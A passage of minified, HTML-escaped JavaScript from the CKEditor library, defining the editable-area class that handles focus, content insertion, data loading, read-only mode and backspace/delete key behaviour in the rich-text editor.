e.collapse(),e.setEndAt(d,CKEDITOR.POSITION_AFTER_END),a=new CKEDITOR.dom.walker(e),a.guard=b(!0),d=!1,a.checkForward(),d}return null}function m(a,b,c){return!1!==a.config.autoParagraph&amp;&amp;a.activeEnterMode!=CKEDITOR.ENTER_BR&amp;&amp;(a.editable().equals(c)&amp;&amp;!b||b&amp;&amp;&quot;true&quot;==b.getAttribute(&quot;contenteditable&quot;))}function f(a){return a.activeEnterMode!=CKEDITOR.ENTER_BR&amp;&amp;!1!==a.config.autoParagraph?a.activeEnterMode==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;:!1}function h(a){var b=a.editor;b.getSelection().scrollIntoView();
setTimeout(function(){b.fire(&quot;saveSnapshot&quot;)},0)}function l(a,b,c){var d=a.getCommonAncestor(b);for(b=a=c?b:a;(a=a.getParent())&amp;&amp;!d.equals(a)&amp;&amp;1==a.getChildCount();)b=a;b.remove()}var g,n,v,u,q,t,p,y,A;CKEDITOR.editable=CKEDITOR.tools.createClass({base:CKEDITOR.dom.element,$:function(a,b){this.base(b.$||b);this.editor=a;this.status=&quot;unloaded&quot;;this.hasFocus=!1;this.setup()},proto:{focus:function(){var a;if(CKEDITOR.env.webkit&amp;&amp;!this.hasFocus&amp;&amp;(a=this.editor._.previousActive||this.getDocument().getActive(),
this.contains(a))){a.focus();return}try{this.$[CKEDITOR.env.ie&amp;&amp;this.getDocument().equals(CKEDITOR.document)?&quot;setActive&quot;:&quot;focus&quot;]()}catch(b){if(!CKEDITOR.env.ie)throw b;}CKEDITOR.env.safari&amp;&amp;!this.isInline()&amp;&amp;(a=CKEDITOR.document.getActive(),a.equals(this.getWindow().getFrame())||this.getWindow().focus())},on:function(a,b){var c=Array.prototype.slice.call(arguments,0);CKEDITOR.env.ie&amp;&amp;/^focus|blur$/.exec(a)&amp;&amp;(a=&quot;focus&quot;==a?&quot;focusin&quot;:&quot;focusout&quot;,b=d(b,this),c[0]=a,c[1]=b);return CKEDITOR.dom.element.prototype.on.apply(this,
c)},attachListener:function(a){!this._.listeners&amp;&amp;(this._.listeners=[]);var b=Array.prototype.slice.call(arguments,1),b=a.on.apply(a,b);this._.listeners.push(b);return b},clearListeners:function(){var a=this._.listeners;try{for(;a.length;)a.pop().removeListener()}catch(b){}},restoreAttrs:function(){var a=this._.attrChanges,b,c;for(c in a)a.hasOwnProperty(c)&amp;&amp;(b=a[c],null!==b?this.setAttribute(c,b):this.removeAttribute(c))},attachClass:function(a){var b=this.getCustomData(&quot;classes&quot;);this.hasClass(a)||
(!b&amp;&amp;(b=[]),b.push(a),this.setCustomData(&quot;classes&quot;,b),this.addClass(a))},changeAttr:function(a,b){var c=this.getAttribute(a);b!==c&amp;&amp;(!this._.attrChanges&amp;&amp;(this._.attrChanges={}),a in this._.attrChanges||(this._.attrChanges[a]=c),this.setAttribute(a,b))},insertText:function(a){this.editor.focus();this.insertHtml(this.transformPlainTextToHtml(a),&quot;text&quot;)},transformPlainTextToHtml:function(a){var b=this.editor.getSelection().getStartElement().hasAscendant(&quot;pre&quot;,!0)?CKEDITOR.ENTER_BR:this.editor.activeEnterMode;
return CKEDITOR.tools.transformPlainTextToHtml(a,b)},insertHtml:function(a,b,c){var d=this.editor;d.focus();d.fire(&quot;saveSnapshot&quot;);c||(c=d.getSelection().getRanges()[0]);t(this,b||&quot;html&quot;,a,c);c.select();h(this);this.editor.fire(&quot;afterInsertHtml&quot;,{})},insertHtmlIntoRange:function(a,b,c){t(this,c||&quot;html&quot;,a,b);this.editor.fire(&quot;afterInsertHtml&quot;,{intoRange:b})},insertElement:function(a,b){var d=this.editor;d.focus();d.fire(&quot;saveSnapshot&quot;);var f=d.activeEnterMode,d=d.getSelection(),g=a.getName(),g=CKEDITOR.dtd.$block[g];
b||(b=d.getRanges()[0]);this.insertElementIntoRange(a,b)&amp;&amp;(b.moveToPosition(a,CKEDITOR.POSITION_AFTER_END),g&amp;&amp;((g=a.getNext(function(a){return c(a)&amp;&amp;!u(a)}))&amp;&amp;g.type==CKEDITOR.NODE_ELEMENT&amp;&amp;g.is(CKEDITOR.dtd.$block)?g.getDtd()[&quot;#&quot;]?b.moveToElementEditStart(g):b.moveToElementEditEnd(a):g||f==CKEDITOR.ENTER_BR||(g=b.fixBlock(!0,f==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;),b.moveToElementEditStart(g))));d.selectRanges([b]);h(this)},insertElementIntoSelection:function(a){this.insertElement(a)},insertElementIntoRange:function(a,
b){var c=this.editor,d=c.config.enterMode,f=a.getName(),g=CKEDITOR.dtd.$block[f];if(b.checkReadOnly())return!1;b.deleteContents(1);b.startContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.startContainer.is({tr:1,table:1,tbody:1,thead:1,tfoot:1})&amp;&amp;p(b);var e,l;if(g)for(;(e=b.getCommonAncestor(0,1))&amp;&amp;(l=CKEDITOR.dtd[e.getName()])&amp;&amp;(!l||!l[f]);)e.getName()in CKEDITOR.dtd.span?b.splitElement(e):b.checkStartOfBlock()&amp;&amp;b.checkEndOfBlock()?(b.setStartBefore(e),b.collapse(!0),e.remove()):b.splitBlock(d==CKEDITOR.ENTER_DIV?
&quot;div&quot;:&quot;p&quot;,c.editable());b.insertNode(a);return!0},setData:function(a,b){b||(a=this.editor.dataProcessor.toHtml(a));this.setHtml(a);this.fixInitialSelection();&quot;unloaded&quot;==this.status&amp;&amp;(this.status=&quot;ready&quot;);this.editor.fire(&quot;dataReady&quot;)},getData:function(a){var b=this.getHtml();a||(b=this.editor.dataProcessor.toDataFormat(b));return b},setReadOnly:function(a){this.setAttribute(&quot;contenteditable&quot;,!a)},detach:function(){this.removeClass(&quot;cke_editable&quot;);this.status=&quot;detached&quot;;var a=this.editor;this._.detach();
delete a.document;delete a.window},isInline:function(){return this.getDocument().equals(CKEDITOR.document)},fixInitialSelection:function(){function a(){var b=c.getDocument().$,d=b.getSelection(),f;a:if(d.anchorNode&amp;&amp;d.anchorNode==c.$)f=!0;else{if(CKEDITOR.env.webkit&amp;&amp;(f=c.getDocument().getActive())&amp;&amp;f.equals(c)&amp;&amp;!d.anchorNode){f=!0;break a}f=void 0}f&amp;&amp;(f=new CKEDITOR.dom.range(c),f.moveToElementEditStart(c),b=b.createRange(),b.setStart(f.startContainer.$,f.startOffset),b.collapse(!0),d.removeAllRanges(),
d.addRange(b))}function b(){var a=c.getDocument().$,d=a.selection,f=c.getDocument().getActive();&quot;None&quot;==d.type&amp;&amp;f.equals(c)&amp;&amp;(d=new CKEDITOR.dom.range(c),a=a.body.createTextRange(),d.moveToElementEditStart(c),d=d.startContainer,d.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(d=d.getParent()),a.moveToElementText(d.$),a.collapse(!0),a.select())}var c=this;if(CKEDITOR.env.ie&amp;&amp;(9&gt;CKEDITOR.env.version||CKEDITOR.env.quirks))this.hasFocus&amp;&amp;(this.focus(),b());else if(this.hasFocus)this.focus(),a();else this.once(&quot;focus&quot;,
function(){a()},null,null,-999)},getHtmlFromRange:function(a){if(a.collapsed)return new CKEDITOR.dom.documentFragment(a.document);a={doc:this.getDocument(),range:a.clone()};y.eol.detect(a,this);y.bogus.exclude(a);y.cell.shrink(a);a.fragment=a.range.cloneContents();y.tree.rebuild(a,this);y.eol.fix(a,this);return new CKEDITOR.dom.documentFragment(a.fragment.$)},extractHtmlFromRange:function(a,b){var c=A,d={range:a,doc:a.document},f=this.getHtmlFromRange(a);if(a.collapsed)return a.optimize(),f;a.enlarge(CKEDITOR.ENLARGE_INLINE,
1);c.table.detectPurge(d);d.bookmark=a.createBookmark();delete d.range;var g=this.editor.createRange();g.moveToPosition(d.bookmark.startNode,CKEDITOR.POSITION_BEFORE_START);d.targetBookmark=g.createBookmark();c.list.detectMerge(d,this);c.table.detectRanges(d,this);c.block.detectMerge(d,this);d.tableContentsRanges?(c.table.deleteRanges(d),a.moveToBookmark(d.bookmark),d.range=a):(a.moveToBookmark(d.bookmark),d.range=a,a.extractContents(c.detectExtractMerge(d)));a.moveToBookmark(d.targetBookmark);a.optimize();
c.fixUneditableRangePosition(a);c.list.merge(d,this);c.table.purge(d,this);c.block.merge(d,this);if(b){c=a.startPath();if(d=a.checkStartOfBlock()&amp;&amp;a.checkEndOfBlock()&amp;&amp;c.block&amp;&amp;!a.root.equals(c.block)){a:{var d=c.block.getElementsByTag(&quot;span&quot;),g=0,e;if(d)for(;e=d.getItem(g++);)if(!n(e)){d=!0;break a}d=!1}d=!d}d&amp;&amp;(a.moveToPosition(c.block,CKEDITOR.POSITION_BEFORE_START),c.block.remove())}else c.autoParagraph(this.editor,a),v(a.startContainer)&amp;&amp;a.startContainer.appendBogus();a.startContainer.mergeSiblings();
return f},setup:function(){var a=this.editor;this.attachListener(a,&quot;beforeGetData&quot;,function(){var b=this.getData();this.is(&quot;textarea&quot;)||!1!==a.config.ignoreEmptyParagraph&amp;&amp;(b=b.replace(q,function(a,b){return b}));a.setData(b,null,1)},this);this.attachListener(a,&quot;getSnapshot&quot;,function(a){a.data=this.getData(1)},this);this.attachListener(a,&quot;afterSetData&quot;,function(){this.setData(a.getData(1))},this);this.attachListener(a,&quot;loadSnapshot&quot;,function(a){this.setData(a.data,1)},this);this.attachListener(a,
&quot;beforeFocus&quot;,function(){var b=a.getSelection();(b=b&amp;&amp;b.getNative())&amp;&amp;&quot;Control&quot;==b.type||this.focus()},this);this.attachListener(a,&quot;insertHtml&quot;,function(a){this.insertHtml(a.data.dataValue,a.data.mode,a.data.range)},this);this.attachListener(a,&quot;insertElement&quot;,function(a){this.insertElement(a.data)},this);this.attachListener(a,&quot;insertText&quot;,function(a){this.insertText(a.data)},this);this.setReadOnly(a.readOnly);this.attachClass(&quot;cke_editable&quot;);a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?this.attachClass(&quot;cke_editable_inline&quot;):
a.elementMode!=CKEDITOR.ELEMENT_MODE_REPLACE&amp;&amp;a.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO||this.attachClass(&quot;cke_editable_themed&quot;);this.attachClass(&quot;cke_contents_&quot;+a.config.contentsLangDirection);a.keystrokeHandler.blockedKeystrokes[8]=+a.readOnly;a.keystrokeHandler.attach(this);this.on(&quot;blur&quot;,function(){this.hasFocus=!1},null,null,-1);this.on(&quot;focus&quot;,function(){this.hasFocus=!0},null,null,-1);a.focusManager.add(this);this.equals(CKEDITOR.document.getActive())&amp;&amp;(this.hasFocus=!0,a.once(&quot;contentDom&quot;,
function(){a.focusManager.focus(this)},this));this.isInline()&amp;&amp;this.changeAttr(&quot;tabindex&quot;,a.tabIndex);if(!this.is(&quot;textarea&quot;)){a.document=this.getDocument();a.window=this.getWindow();var d=a.document;this.changeAttr(&quot;spellcheck&quot;,!a.config.disableNativeSpellChecker);var f=a.config.contentsLangDirection;this.getDirection(1)!=f&amp;&amp;this.changeAttr(&quot;dir&quot;,f);var e=CKEDITOR.getCss();if(e){var f=d.getHead(),h=f.getCustomData(&quot;stylesheet&quot;);h?e!=h.getText()&amp;&amp;(CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?h.$.styleSheet.cssText=
e:h.setText(e)):(e=d.appendStyleText(e),e=new CKEDITOR.dom.element(e.ownerNode||e.owningElement),f.setCustomData(&quot;stylesheet&quot;,e),e.data(&quot;cke-temp&quot;,1))}f=d.getCustomData(&quot;stylesheet_ref&quot;)||0;d.setCustomData(&quot;stylesheet_ref&quot;,f+1);this.setCustomData(&quot;cke_includeReadonly&quot;,!a.config.disableReadonlyStyling);this.attachListener(this,&quot;click&quot;,function(a){a=a.data;var b=(new CKEDITOR.dom.elementPath(a.getTarget(),this)).contains(&quot;a&quot;);b&amp;&amp;2!=a.$.button&amp;&amp;b.isReadOnly()&amp;&amp;a.preventDefault()});var m={8:1,46:1};this.attachListener(a,
&quot;key&quot;,function(b){if(a.readOnly)return!0;var c=b.data.domEvent.getKey(),d;if(c in m){b=a.getSelection();var f,e=b.getRanges()[0],l=e.startPath(),h,r,n,c=8==c;CKEDITOR.env.ie&amp;&amp;11&gt;CKEDITOR.env.version&amp;&amp;(f=b.getSelectedElement())||(f=k(b))?(a.fire(&quot;saveSnapshot&quot;),e.moveToPosition(f,CKEDITOR.POSITION_BEFORE_START),f.remove(),e.select(),a.fire(&quot;saveSnapshot&quot;),d=1):e.collapsed&amp;&amp;((h=l.block)&amp;&amp;(n=h[c?&quot;getPrevious&quot;:&quot;getNext&quot;](g))&amp;&amp;n.type==CKEDITOR.NODE_ELEMENT&amp;&amp;n.is(&quot;table&quot;)&amp;&amp;e[c?&quot;checkStartOfBlock&quot;:&quot;checkEndOfBlock&quot;]()?
(a.fire(&quot;saveSnapshot&quot;),e[c?&quot;checkEndOfBlock&quot;:&quot;checkStartOfBlock&quot;]()&amp;&amp;h.remove(),e[&quot;moveToElementEdit&quot;+(c?&quot;End&quot;:&quot;Start&quot;)](n),e.select(),a.fire(&quot;saveSnapshot&quot;),d=1):l.blockLimit&amp;&amp;l.blockLimit.is(&quot;td&quot;)&amp;&amp;(r=l.blockLimit.getAscendant(&quot;table&quot;))&amp;&amp;e.checkBoundaryOfElement(r,c?CKEDITOR.START:CKEDITOR.END)&amp;&amp;(n=r[c?&quot;getPrevious&quot;:&quot;getNext&quot;](g))?(a.fire(&quot;saveSnapshot&quot;),e[&quot;moveToElementEdit&quot;+(c?&quot;End&quot;:&quot;Start&quot;)](n),e.checkStartOfBlock()&amp;&amp;e.checkEndOfBlock()?n.remove():e.select(),a.fire(&quot;saveSnapshot&quot;),d=1):(r=l.contains([&quot;td&quot;,
&quot;th&quot;,&quot;caption&quot;]))&amp;&amp;e.checkBoundaryOfElement(r,c?CKEDITOR.START:CKEDITOR.END)&amp;&amp;(d=1))}return!d});a.blockless&amp;&amp;CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.needsBrFiller&amp;&amp;this.attachListener(this,&quot;keyup&quot;,function(b){b.data.getKeystroke()in m&amp;&amp;!this.getFirst(c)&amp;&amp;(this.appendBogus(),b=a.createRange(),b.moveToPosition(this,CKEDITOR.POSITION_AFTER_START),b.select())});this.attachListener(this,&quot;dblclick&quot;,function(b){if(a.readOnly)return!1;b={element:b.data.getTarget()};a.fire(&quot;doubleclick&quot;,b)});CKEDITOR.env.ie&amp;&amp;this.attachListener(this,
&quot;click&quot;,b);CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge||this.attachListener(this,&quot;mousedown&quot;,function(b){var c=b.data.getTarget();c.is(&quot;img&quot;,&quot;hr&quot;,&quot;input&quot;,&quot;textarea&quot;,&quot;select&quot;)&amp;&amp;!c.isReadOnly()&amp;&amp;(a.getSelection().selectElement(c),c.is(&quot;input&quot;,&quot;textarea&quot;,&quot;select&quot;)&amp;&amp;b.data.preventDefault())});CKEDITOR.env.edge&amp;&amp;this.attachListener(this,&quot;mouseup&quot;,function(b){(b=b.data.getTarget())&amp;&amp;b.is(&quot;img&quot;)&amp;&amp;a.getSelection().selectElement(b)});CKEDITOR.env.gecko&amp;&amp;this.attachListener(this,&quot;mouseup&quot;,function(b){if(2==b.data.$.button&amp;&amp;
(b=b.data.getTarget(),!b.getOuterHtml().replace(q,&quot;&quot;))){var c=a.createRange();c.moveToElementEditStart(b);c.select(!0)}});CKEDITOR.env.webkit&amp;&amp;(this.attachListener(this,&quot;click&quot;,function(a){a.data.getTarget().is(&quot;input&quot;,&quot;select&quot;)&amp;&amp;a.data.preventDefault()}),this.attachListener(this,&quot;mouseup&quot;,function(a){a.data.getTarget().is(&quot;input&quot;,&quot;textarea&quot;)&amp;&amp;a.data.preventDefault()}));CKEDITOR.env.webkit&amp;&amp;this.attachListener(a,&quot;key&quot;,function(b){if(a.readOnly)return!0;b=b.data.domEvent.getKey();if(b in m){var c=
8==b,d=a.getSelection().getRanges()[0];b=d.startPath();if(d.collapsed)a:{var f=b.block;if(f&amp;&amp;d[c?&quot;checkStartOfBlock&quot;:&quot;checkEndOfBlock&quot;]()&amp;&amp;d.moveToClosestEditablePosition(f,!c)&amp;&amp;d.collapsed){if(d.startContainer.type==CKEDITOR.NODE_ELEMENT){var g=d.startContainer.getChild(d.startOffset-(c?1:0));if(g&amp;&amp;g.type==CKEDITOR.NODE_ELEMENT&amp;&amp;g.is(&quot;hr&quot;)){a.fire(&quot;saveSnapshot&quot;);g.remove();b=!0;break a}}d=d.startPath().block;if(!d||d&amp;&amp;d.contains(f))b=void 0;else{a.fire(&quot;saveSnapshot&quot;);var e;(e=(c?d:f).getBogus())&amp;&amp;
e.remove();e=a.getSelection();g=e.createBookmarks();(c?f:d).moveChildren(c?d:f,!1);b.lastElement.mergeSiblings();l(f,d,!c);e.selectBookmarks(g);b=!0}}else b=!1}else c=d,e=b.block,d=c.endPath().block,e&amp;&amp;d&amp;&amp;!e.equals(d)?(a.fire(&quot;saveSnapshot&quot;),(f=e.getBogus())&amp;&amp;f.remove(),c.enlarge(CKEDITOR.ENLARGE_INLINE),c.deleteContents(),d.getParent()&amp;&amp;(d.moveChildren(e,!1),b.lastElement.mergeSiblings(),l(e,d,!0)),c=a.getSelection().getRanges()[0],c.collapse(1),c.optimize(),&quot;&quot;===c.startContainer.getHtml()&amp;&amp;c.startContainer.appendBogus(),
c.select(),b=!0):b=!1;if(!b)return;a.getSelection().scrollIntoView();a.fire(&quot;saveSnapshot&quot;);return!1}},this,null,100)}}},_:{detach:function(){this.editor.setData(this.editor.getData(),0,1);this.clearListeners();this.restoreAttrs();var a;if(a=this.removeCustomData(&quot;classes&quot;))for(;a.length;)this.removeClass(a.pop());if(!this.is(&quot;textarea&quot;)){a=this.getDocument();var b=a.getHead();if(b.getCustomData(&quot;stylesheet&quot;)){var c=a.getCustomData(&quot;stylesheet_ref&quot;);--c?a.setCustomData(&quot;stylesheet_ref&quot;,c):(a.removeCustomData(&quot;stylesheet_ref&quot;),
b.removeCustomData(&quot;stylesheet&quot;).remove())}}this.editor.fire(&quot;contentDomUnload&quot;);delete this.editor}}});CKEDITOR.editor.prototype.editable=function(a){var b=this._.editable;if(b&amp;&amp;a)return 0;arguments.length&amp;&amp;(b=this._.editable=a?a instanceof CKEDITOR.editable?a:new CKEDITOR.editable(this,a):(b&amp;&amp;b.detach(),null));return b};CKEDITOR.on(&quot;instanceLoaded&quot;,function(b){var c=b.editor;c.on(&quot;insertElement&quot;,function(a){a=a.data;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(a.is(&quot;input&quot;)||a.is(&quot;textarea&quot;))&amp;&amp;(&quot;false&quot;!=a.getAttribute(&quot;contentEditable&quot;)&amp;&amp;
a.data(&quot;cke-editable&quot;,a.hasAttribute(&quot;contenteditable&quot;)?&quot;true&quot;:&quot;1&quot;),a.setAttribute(&quot;contentEditable&quot;,!1))});c.on(&quot;selectionChange&quot;,function(b){if(!c.readOnly){var d=c.getSelection();d&amp;&amp;!d.isLocked&amp;&amp;(d=c.checkDirty(),c.fire(&quot;lockSnapshot&quot;),a(b),c.fire(&quot;unlockSnapshot&quot;),!d&amp;&amp;c.resetDirty())}})});CKEDITOR.on(&quot;instanceCreated&quot;,function(a){var b=a.editor;b.on(&quot;mode&quot;,function(){var a=b.editable();if(a&amp;&amp;a.isInline()){var c=b.title;a.changeAttr(&quot;role&quot;,&quot;textbox&quot;);a.changeAttr(&quot;aria-label&quot;,c);c&amp;&amp;a.changeAttr(&quot;title&quot;,
c);var d=b.fire(&quot;ariaEditorHelpLabel&quot;,{}).label;if(d&amp;&amp;(c=this.ui.space(this.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?&quot;top&quot;:&quot;contents&quot;))){var f=CKEDITOR.tools.getNextId(),d=CKEDITOR.dom.element.createFromHtml(&#039;\x3cspan id\x3d&quot;&#039;+f+&#039;&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;+d+&quot;\x3c/span\x3e&quot;);c.append(d);a.changeAttr(&quot;aria-describedby&quot;,f)}}})});CKEDITOR.addCss(&quot;.cke_editable{cursor:text}.cke_editable img,.cke_editable input,.cke_editable textarea{cursor:default}&quot;);g=CKEDITOR.dom.walker.whitespaces(!0);n=CKEDITOR.dom.walker.bookmark(!1,
!0);v=CKEDITOR.dom.walker.empty();u=CKEDITOR.dom.walker.bogus();q=/(^|&lt;body\b[^&gt;]*&gt;)\s*&lt;(p|div|address|h\d|center|pre)[^&gt;]*&gt;\s*(?:&lt;br[^&gt;]*&gt;|&amp;nbsp;|\u00A0|&amp;#160;)?\s*(:?&lt;\/\2&gt;)?\s*(?=$|&lt;\/body&gt;)/gi;t=function(){function a(b){return b.type==CKEDITOR.NODE_ELEMENT}function b(c,d){var f,g,e,l,h=[],m=d.range.startContainer;f=d.range.startPath();for(var m=k[m.getName()],n=0,y=c.getChildren(),p=y.count(),q=-1,w=-1,t=0,C=f.contains(k.$list);n&lt;p;++n)f=y.getItem(n),a(f)?(e=f.getName(),C&amp;&amp;e in CKEDITOR.dtd.$list?
h=h.concat(b(f,d)):(l=!!m[e],&quot;br&quot;!=e||!f.data(&quot;cke-eol&quot;)||n&amp;&amp;n!=p-1||(t=(g=n?h[n-1].node:y.getItem(n+1))&amp;&amp;(!a(g)||!g.is(&quot;br&quot;)),g=g&amp;&amp;a(g)&amp;&amp;k.$block[g.getName()]),-1!=q||l||(q=n),l||(w=n),h.push({isElement:1,isLineBreak:t,isBlock:f.isBlockBoundary(),hasBlockSibling:g,node:f,name:e,allowed:l}),g=t=0)):h.push({isElement:0,node:f,allowed:1});-1&lt;q&amp;&amp;(h[q].firstNotAllowed=1);-1&lt;w&amp;&amp;(h[w].lastNotAllowed=1);return h}function d(b,c){var f=[],g=b.getChildren(),e=g.count(),l,h=0,m=k[c],r=!b.is(k.$inline)||b.is(&quot;br&quot;);
for(r&amp;&amp;f.push(&quot; &quot;);h&lt;e;h++)l=g.getItem(h),a(l)&amp;&amp;!l.is(m)?f=f.concat(d(l,c)):f.push(l);r&amp;&amp;f.push(&quot; &quot;);return f}function g(b){return a(b.startContainer)&amp;&amp;b.startContainer.getChild(b.startOffset-1)}function e(b){return b&amp;&amp;a(b)&amp;&amp;(b.is(k.$removeEmpty)||b.is(&quot;a&quot;)&amp;&amp;!b.isBlockBoundary())}function l(b,c,d,f){var g=b.clone(),e,h;g.setEndAt(c,CKEDITOR.POSITION_BEFORE_END);(e=(new CKEDITOR.dom.walker(g)).next())&amp;&amp;a(e)&amp;&amp;n[e.getName()]&amp;&amp;(h=e.getPrevious())&amp;&amp;a(h)&amp;&amp;!h.getParent().equals(b.startContainer)&amp;&amp;d.contains(h)&amp;&amp;
f.contains(e)&amp;&amp;e.isIdentical(h)&amp;&amp;(e.moveChildren(h),e.remove(),l(b,c,d,f))}function h(b,c){function d(b,c){if(c.isBlock&amp;&amp;c.isElement&amp;&amp;!c.node.is(&quot;br&quot;)&amp;&amp;a(b)&amp;&amp;b.is(&quot;br&quot;))return b.remove(),1}var f=c.endContainer.getChild(c.endOffset),g=c.endContainer.getChild(c.endOffset-1);f&amp;&amp;d(f,b[b.length-1]);g&amp;&amp;d(g,b[0])&amp;&amp;(c.setEnd(c.endContainer,c.endOffset-1),c.collapse())}var k=CKEDITOR.dtd,n={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ul:1,ol:1,li:1,pre:1,dl:1,blockquote:1},y={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,
h6:1},p=CKEDITOR.tools.extend({},k.$inline);delete p.br;return function(n,q,H,t){var u=n.editor,A=!1;&quot;unfiltered_html&quot;==q&amp;&amp;(q=&quot;html&quot;,A=!0);if(!t.checkReadOnly()){var v=(new CKEDITOR.dom.elementPath(t.startContainer,t.root)).blockLimit||t.root;n={type:q,dontFilter:A,editable:n,editor:u,range:t,blockLimit:v,mergeCandidates:[],zombies:[]};q=n.range;t=n.mergeCandidates;var J,E;&quot;text&quot;==n.type&amp;&amp;q.shrink(CKEDITOR.SHRINK_ELEMENT,!0,!1)&amp;&amp;(J=CKEDITOR.dom.element.createFromHtml(&quot;\x3cspan\x3e\x26nbsp;\x3c/span\x3e&quot;,
q.document),q.insertNode(J),q.setStartAfter(J));A=new CKEDITOR.dom.elementPath(q.startContainer);n.endPath=v=new CKEDITOR.dom.elementPath(q.endContainer);if(!q.collapsed){var u=v.block||v.blockLimit,W=q.getCommonAncestor();u&amp;&amp;!u.equals(W)&amp;&amp;!u.contains(W)&amp;&amp;q.checkEndOfBlock()&amp;&amp;n.zombies.push(u);q.deleteContents()}for(;(E=g(q))&amp;&amp;a(E)&amp;&amp;E.isBlockBoundary()&amp;&amp;A.contains(E);)q.moveToPosition(E,CKEDITOR.POSITION_BEFORE_END);l(q,n.blockLimit,A,v);J&amp;&amp;(q.setEndBefore(J),q.collapse(),J.remove());J=q.startPath();
if(u=J.contains(e,!1,1))q.splitElement(u),n.inlineStylesRoot=u,n.inlineStylesPeak=J.lastElement;J=q.createBookmark();(u=J.startNode.getPrevious(c))&amp;&amp;a(u)&amp;&amp;e(u)&amp;&amp;t.push(u);(u=J.startNode.getNext(c))&amp;&amp;a(u)&amp;&amp;e(u)&amp;&amp;t.push(u);for(u=J.startNode;(u=u.getParent())&amp;&amp;e(u);)t.push(u);q.moveToBookmark(J);if(J=H){J=n.range;if(&quot;text&quot;==n.type&amp;&amp;n.inlineStylesRoot){E=n.inlineStylesPeak;q=E.getDocument().createText(&quot;{cke-peak}&quot;);for(t=n.inlineStylesRoot.getParent();!E.equals(t);)q=q.appendTo(E.clone()),E=E.getParent();
H=q.getOuterHtml().split(&quot;{cke-peak}&quot;).join(H)}E=n.blockLimit.getName();if(/^\s+|\s+$/.test(H)&amp;&amp;&quot;span&quot;in CKEDITOR.dtd[E]){var U=&#039;\x3cspan data-cke-marker\x3d&quot;1&quot;\x3e\x26nbsp;\x3c/span\x3e&#039;;H=U+H+U}H=n.editor.dataProcessor.toHtml(H,{context:null,fixForBody:!1,protectedWhitespaces:!!U,dontFilter:n.dontFilter,filter:n.editor.activeFilter,enterMode:n.editor.activeEnterMode});E=J.document.createElement(&quot;body&quot;);E.setHtml(H);U&amp;&amp;(E.getFirst().remove(),E.getLast().remove());if((U=J.startPath().block)&amp;&amp;(1!=
U.getChildCount()||!U.getBogus()))a:{var K;if(1==E.getChildCount()&amp;&amp;a(K=E.getFirst())&amp;&amp;K.is(y)&amp;&amp;!K.hasAttribute(&quot;contenteditable&quot;)){U=K.getElementsByTag(&quot;*&quot;);J=0;for(t=U.count();J&lt;t;J++)if(q=U.getItem(J),!q.is(p))break a;K.moveChildren(K.getParent(1));K.remove()}}n.dataWrapper=E;J=H}if(J){K=n.range;J=K.document;var M;E=n.blockLimit;t=0;var S,U=[],Q,Y;H=u=0;var V,da;q=K.startContainer;var A=n.endPath.elements[0],Z,v=A.getPosition(q),W=!!A.getCommonAncestor(q)&amp;&amp;v!=CKEDITOR.POSITION_IDENTICAL&amp;&amp;!(v&amp;CKEDITOR.POSITION_CONTAINS+
CKEDITOR.POSITION_IS_CONTAINED);q=b(n.dataWrapper,n);for(h(q,K);t&lt;q.length;t++){v=q[t];if(M=v.isLineBreak){M=K;V=E;var X=void 0,ga=void 0;v.hasBlockSibling?M=1:(X=M.startContainer.getAscendant(k.$block,1))&amp;&amp;X.is({div:1,p:1})?(ga=X.getPosition(V),ga==CKEDITOR.POSITION_IDENTICAL||ga==CKEDITOR.POSITION_CONTAINS?M=0:(V=M.splitElement(X),M.moveToPosition(V,CKEDITOR.POSITION_AFTER_START),M=1)):M=0}if(M)H=0&lt;t;else{M=K.startPath();!v.isBlock&amp;&amp;m(n.editor,M.block,M.blockLimit)&amp;&amp;(Y=f(n.editor))&amp;&amp;(Y=J.createElement(Y),
Y.appendBogus(),K.insertNode(Y),CKEDITOR.env.needsBrFiller&amp;&amp;(S=Y.getBogus())&amp;&amp;S.remove(),K.moveToPosition(Y,CKEDITOR.POSITION_BEFORE_END));if((M=K.startPath().block)&amp;&amp;!M.equals(Q)){if(S=M.getBogus())S.remove(),U.push(M);Q=M}v.firstNotAllowed&amp;&amp;(u=1);if(u&amp;&amp;v.isElement){M=K.startContainer;for(V=null;M&amp;&amp;!k[M.getName()][v.name];){if(M.equals(E)){M=null;break}V=M;M=M.getParent()}if(M)V&amp;&amp;(da=K.splitElement(V),n.zombies.push(da),n.zombies.push(V));else{V=E.getName();Z=!t;M=t==q.length-1;V=d(v.node,V);for(var X=
[],ga=V.length,ba=0,ea=void 0,ha=0,ia=-1;ba&lt;ga;ba++)ea=V[ba],&quot; &quot;==ea?(ha||Z&amp;&amp;!ba||(X.push(new CKEDITOR.dom.text(&quot; &quot;)),ia=X.length),ha=1):(X.push(ea),ha=0);M&amp;&amp;ia==X.length&amp;&amp;X.pop();Z=X}}if(Z){for(;M=Z.pop();)K.insertNode(M);Z=0}else K.insertNode(v.node);v.lastNotAllowed&amp;&amp;t&lt;q.length-1&amp;&amp;((da=W?A:da)&amp;&amp;K.setEndAt(da,CKEDITOR.POSITION_AFTER_START),u=0);K.collapse()}}1!=q.length?S=!1:(S=q[0],S=S.isElement&amp;&amp;&quot;false&quot;==S.node.getAttribute(&quot;contenteditable&quot;));S&amp;&amp;(H=!0,M=q[0].node,K.setStartAt(M,CKEDITOR.POSITION_BEFORE_START),
